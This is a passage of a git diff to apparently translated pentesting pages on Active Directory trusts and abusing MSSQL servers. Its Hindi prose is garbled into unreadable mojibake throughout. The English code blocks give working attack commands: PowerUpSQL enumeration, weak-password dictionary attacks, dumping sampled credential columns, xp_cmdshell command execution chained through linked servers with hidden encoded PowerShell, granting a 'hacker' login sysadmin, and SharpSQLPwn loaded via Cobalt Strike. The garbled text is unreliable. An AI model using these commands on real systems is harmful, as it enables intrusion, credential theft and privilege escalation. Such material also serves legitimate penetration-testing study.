рдЕрдзрд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛ рд╕рдХреЗ: +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЬрдм рдПрдХ **рдбреЛрдореЗрди рдХреЛ рд╡рд┐рд╢реНрд╡рд╛рд╕** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдбреЛрдореЗрди рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдмрдирд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ **рдкреВрд░реНрд╡рд╛рдиреБрдорд╛рдирд┐рдд рдирд╛рдо** рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЬреЛ **рд╡рд┐рд╢реНрд╡рд╛рд╕рд┐рдд рдкрд╛рд╕рд╡рд░реНрдб** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдбреЛрдореЗрди рд╕реЗ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рд╡рд┐рд╢реНрд╡рд╛рд╕рд┐рдд рдбреЛрдореЗрди рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ** рддрд╛рдХрд┐ рдЙрд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ рдЕрдзрд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛ рд╕рдХреЗ: {{#ref}} external-forest-domain-one-way-outbound.md @@ -661,12 +689,12 @@ rdp-sessions-abuse.md ### **SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ:** - SID рдЗрддрд┐рд╣рд╛рд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рджреНрд╡рд╛рд░рд╛ рдХрдо рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╕рднреА рдЗрдВрдЯрд░-рдлреЙрд░реЗрд╕реНрдЯ рдЯреНрд░рд╕реНрдЯ рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд░рд┐рдп рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдЗрд╕ рдзрд╛рд░рдгрд╛ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдХрд┐ рдЗрдВрдЯреНрд░рд╛-рдлреЙрд░реЗрд╕реНрдЯ рдЯреНрд░рд╕реНрдЯ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВ, рдлреЙрд░реЗрд╕реНрдЯ рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реАрдорд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирддреЗ рд╣реБрдП, рди рдХрд┐ рдбреЛрдореЗрди рдХреЛ, рдЬреИрд╕рд╛ рдХрд┐ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рдХрд╛ рдорд╛рдирдирд╛ рд╣реИред -- рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рдкрдХрдбрд╝ рд╣реИ: SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╣реБрдВрдЪ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдХрд╛рд░рдг рдЗрд╕реЗ рдХрднреА-рдХрднреА рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рдкрдХрдбрд╝ рд╣реИ: SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╣реБрдВрдЪ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдХрд╛рд░рдг рдЗрд╕реЗ рдХрднреА-рдХрднреА рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ### **рдЪрдпрдирд╛рддреНрдордХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг:** - рдЗрдВрдЯрд░-рдлреЙрд░реЗрд╕реНрдЯ рдЯреНрд░рд╕реНрдЯ рдХреЗ рд▓рд┐рдП, рдЪрдпрдирд╛рддреНрдордХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рджреЛрдиреЛрдВ рдлреЙрд░реЗрд╕реНрдЯ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдбреЛрдореЗрди рдпрд╛ рдлреЙрд░реЗрд╕реНрдЯ рдХреЗ рднреАрддрд░ рдбреЛрдореЗрди рдФрд░ рд╕рд░реНрд╡рд░реЛрдВ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -- рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдпреЗ рдЙрдкрд╛рдп рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдирд╛рдордХрд░рдг рд╕рдВрджрд░реНрдн (NC) рдХреЗ рд╢реЛрд╖рдг рдпрд╛ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдЦрд╛рддреЗ рдкрд░ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред +- рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдпреЗ рдЙрдкрд╛рдп рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдирд╛рдорд┐рдВрдЧ рд╕рдВрджрд░реНрдн (NC) рдХреЗ рд╢реЛрд╖рдг рдпрд╛ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдЦрд╛рддреЗ рдкрд░ рд╣рдорд▓реЛрдВ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред [**iRed.team рдкрд░ рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реАред**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index aa103da0e..ddebfa00f 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -7,7 +7,7 @@ ### Python -[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) рдЯреВрд▓ impacket рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдФрд░ рдпрд╣ kerberos рдЯрд┐рдХрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдФрд░ рд▓рд┐рдВрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓реЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) рдЙрдкрдХрд░рдг impacket рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдФрд░ рдпрд╣ kerberos рдЯрд┐рдХрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдФрд░ рд▓рд┐рдВрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓реЗ рдХрд░рддрд╛ рд╣реИред
```shell @@ -90,12 +90,12 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive --- ### Powershell -рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ powershell рдореЙрдбреНрдпреВрд▓ [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИред -```powershell +рдпрд╣рд╛рдБ рдкрд░ powershell рдореЙрдбреНрдпреВрд▓ [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИред +```bash Import-Module .\PowerupSQL.psd1 ```` -### рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдбреЛрдореЗрди рд╕рддреНрд░ рдХреЗ рдмрд┐рдирд╛ рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░рдирд╛ -```powershell +### рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдбреЛрдореЗрди рд╕рддреНрд░ рдХреЗ рдмрд┐рдирд╛ рдПрдиреНрдпреВрдорд░реЗрдЯрд┐рдВрдЧ +```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo @@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP тАУVerbose тАУThreads Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test ``` ### рдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ рд╕реЗ рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░рдирд╛ -```powershell +```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo @@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo #This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance) Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose +# Try dictionary attack to login +Invoke-SQLAuditWeakLoginPw + +# Search SPNs of common software and try the default creds +Get-SQLServerDefaultLoginPw + #Test connections with each one Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose @@ -127,14 +133,26 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose # Get DBs, test connections and get info in oneliner Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo ``` -## MSSQL рдмреЗрд╕рд┐рдХ рджреБрд░реБрдкрдпреЛрдЧ +## MSSQL Basic Abuse + +### Access DB +```bash +# List databases +Get-SQLInstanceDomain | Get-SQLDatabase + +# List tables in a DB you can read +Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName + +# List columns in a table +Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName + +# Get some sample data from a column in a table (columns username & passwor din the example) +Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10 -### рдПрдХреНрд╕реЗрд╕ DB -```powershell #Perform a SQL query Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername" -#Dump an instance (a lotof CVSs generated in current dir) +#Dump an instance (a lot of CVSs generated in current dir) Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql" # Search keywords in columns trying to access the MSSQL DBs @@ -144,11 +162,11 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } ### MSSQL RCE рдпрд╣ MSSQL рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ **рдХрдорд╛рдВрдбреНрд╕** рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -```powershell +```bash Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` -**рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рджреЗрдЦреЗрдВ рдХрд┐ рдЗрд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИред** +**рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдпрд╣ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ, рдпрд╣ рдЬрд╛рдВрдЪреЗрдВред** ### MSSQL рдмреБрдирд┐рдпрд╛рджреА рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ @@ -156,14 +174,14 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/ {{#endref}} -## MSSQL рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд▓рд┐рдВрдХ +## MSSQL рдЯреНрд░рд╕реНрдЯреЗрдб рд▓рд┐рдВрдХ -рдпрджрд┐ рдПрдХ MSSQL рдЙрджрд╛рд╣рд░рдг рдХреЛ рдПрдХ рдЕрд▓рдЧ MSSQL рдЙрджрд╛рд╣рд░рдг рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп (рдбреЗрдЯрд╛рдмреЗрд╕ рд▓рд┐рдВрдХ) рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡рд╣ **рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдЧрд╛**ред рдпреЗ рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╢реНрд░реГрдВрдЦрд▓рд╛рдмрджреНрдз рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреБрдЫ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╡рд╣ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдпрджрд┐ рдПрдХ MSSQL рдЙрджрд╛рд╣рд░рдг рдХреЛ рдПрдХ рдЕрд▓рдЧ MSSQL рдЙрджрд╛рд╣рд░рдг рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдбреЗрдЯрд╛рдмреЗрд╕ рд▓рд┐рдВрдХ)ред рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдЯреНрд░рд╕реНрдЯреЗрдб рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡рд╣ **рдЕрдиреНрдп рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛**ред рдпреЗ рдЯреНрд░рд╕реНрдЯ рдЪреЗрди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХрд┐рд╕реА рдмрд┐рдВрджреБ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреБрдЫ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рд╡рд╣ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред **рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдмреАрдЪ рдХреЗ рд▓рд┐рдВрдХ рд╡рди рдЯреНрд░рд╕реНрдЯ рдХреЗ рдкрд╛рд░ рднреА рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред** ### рдкреЙрд╡рд░рд╢реЗрд▓ рджреБрд░реБрдкрдпреЛрдЧ -```powershell +```bash #Look for MSSQL links of an accessible instance Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0 @@ -194,9 +212,15 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c ## If you see the results of @@selectname, it worked Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');' ``` +рдПрдХ рдФрд░ рд╕рдорд╛рди рдЙрдкрдХрд░рдг рдЬреЛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рд╡рд╣ рд╣реИ [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn): +```bash +SharpSQLPwn.exe /modules:LIC /linkedsql: /cmd:whoami /impuser:sa +# Cobalt Strike +inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql: /cmd:whoami /impuser:sa +``` ### Metasploit -рдЖрдк рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрд╕рд╛рдиреА рд╕реЗ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд▓рд┐рдВрдХ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ metasploit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд▓рд┐рдВрдХ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash #Set username, password, windows auth (if using AD), IP... msf> use exploit/windows/mssql/mssql_linkcrawler @@ -221,18 +245,18 @@ EXEC sp_linkedservers; ``` ![](<../../images/image (716).png>) -#### рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд▓рд┐рдВрдХ рдореЗрдВ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ +#### рднрд░реЛрд╕реЗрдордВрдж рд▓рд┐рдВрдХ рдореЗрдВ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рд▓рд┐рдВрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг: рдирдП рд╕реБрд▓рдн рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЕрдзрд┐рдХ рд▓рд┐рдВрдХ рдЦреЛрдЬреЗрдВ): ```sql select * from openquery("dcorp-sql1", 'select * from master..sysservers') ``` > [!WARNING] -> рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдбрдмрд▓ рдФрд░ рд╕рд┐рдВрдЧрд▓ рдХреЛрдЯреНрд╕ рдХрд╣рд╛рдБ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред +> рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдбрдмрд▓ рдФрд░ рд╕рд┐рдВрдЧрд▓ рдХреЛрдЯреНрд╕ рдХрд╣рд╛рдБ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред ![](<../../images/image (643).png>) -рдЖрдк рдЗрди рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд▓рд┐рдВрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╣рдореЗрд╢рд╛ рдХреЗ рд▓рд┐рдП рдЬрд╛рд░реА рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдЗрди рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд▓рд┐рдВрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛рдУрдВ рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╣рдореЗрд╢рд╛ рдХреЗ рд▓рд┐рдП рдЬрд╛рд░реА рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВред ```sql # First level RCE SELECT * FROM OPENQUERY("", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''') @@ -254,8 +278,8 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT **MSSQL рд╕реНрдерд╛рдиреАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЗ рдкрд╛рд╕ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдкреНрд░рдХрд╛рд░ рдХрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ **`SeImpersonatePrivilege`** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЦрд╛рддрд╛ "рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдмрд╛рдж рдПрдХ рдЧреНрд░рд╛рд╣рдХ рдХрд╛ рдЕрдиреБрдХрд░рдг" рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -рдХрдИ рд▓реЗрдЦрдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд рдПрдХ рд░рдгрдиреАрддрд┐ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ SYSTEM рд╕реЗрд╡рд╛ рдХреЛ рдПрдХ рдзреЛрдЦрд╛рдзрдбрд╝реА рдпрд╛ рдореИрди-рдЗрди-рдж-рдорд┐рдбрд▓ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬрд┐рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рдзреЛрдЦрд╛рдзрдбрд╝реА рд╕реЗрд╡рд╛ рддрдм SYSTEM рд╕реЗрд╡рд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддреА рд╣реИ рдЬрдмрдХрд┐ рдпрд╣ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реА рд╣реЛрддреА рд╣реИред +рдПрдХ рд░рдгрдиреАрддрд┐ рдЬреЛ рдХрдИ рд▓реЗрдЦрдХреЛрдВ рдиреЗ рд╡рд┐рдХрд╕рд┐рдд рдХреА рд╣реИ, рд╡рд╣ рд╣реИ рдПрдХ SYSTEM рд╕реЗрд╡рд╛ рдХреЛ рдПрдХ рдзреЛрдЦрд╛рдзрдбрд╝реА рдпрд╛ рдореИрди-рдЗрди-рдж-рдорд┐рдбрд▓ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдирд╛ рдЬрд┐рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рдзреЛрдЦрд╛рдзрдбрд╝реА рд╕реЗрд╡рд╛ рддрдм SYSTEM рд╕реЗрд╡рд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреА рд╣реИ рдЬрдмрдХрд┐ рдпрд╣ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реА рд╣реИред -[SweetPotato](https://github.com/CCob/SweetPotato) рдХреЗ рдкрд╛рд╕ рдЗрди рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдПрдХ 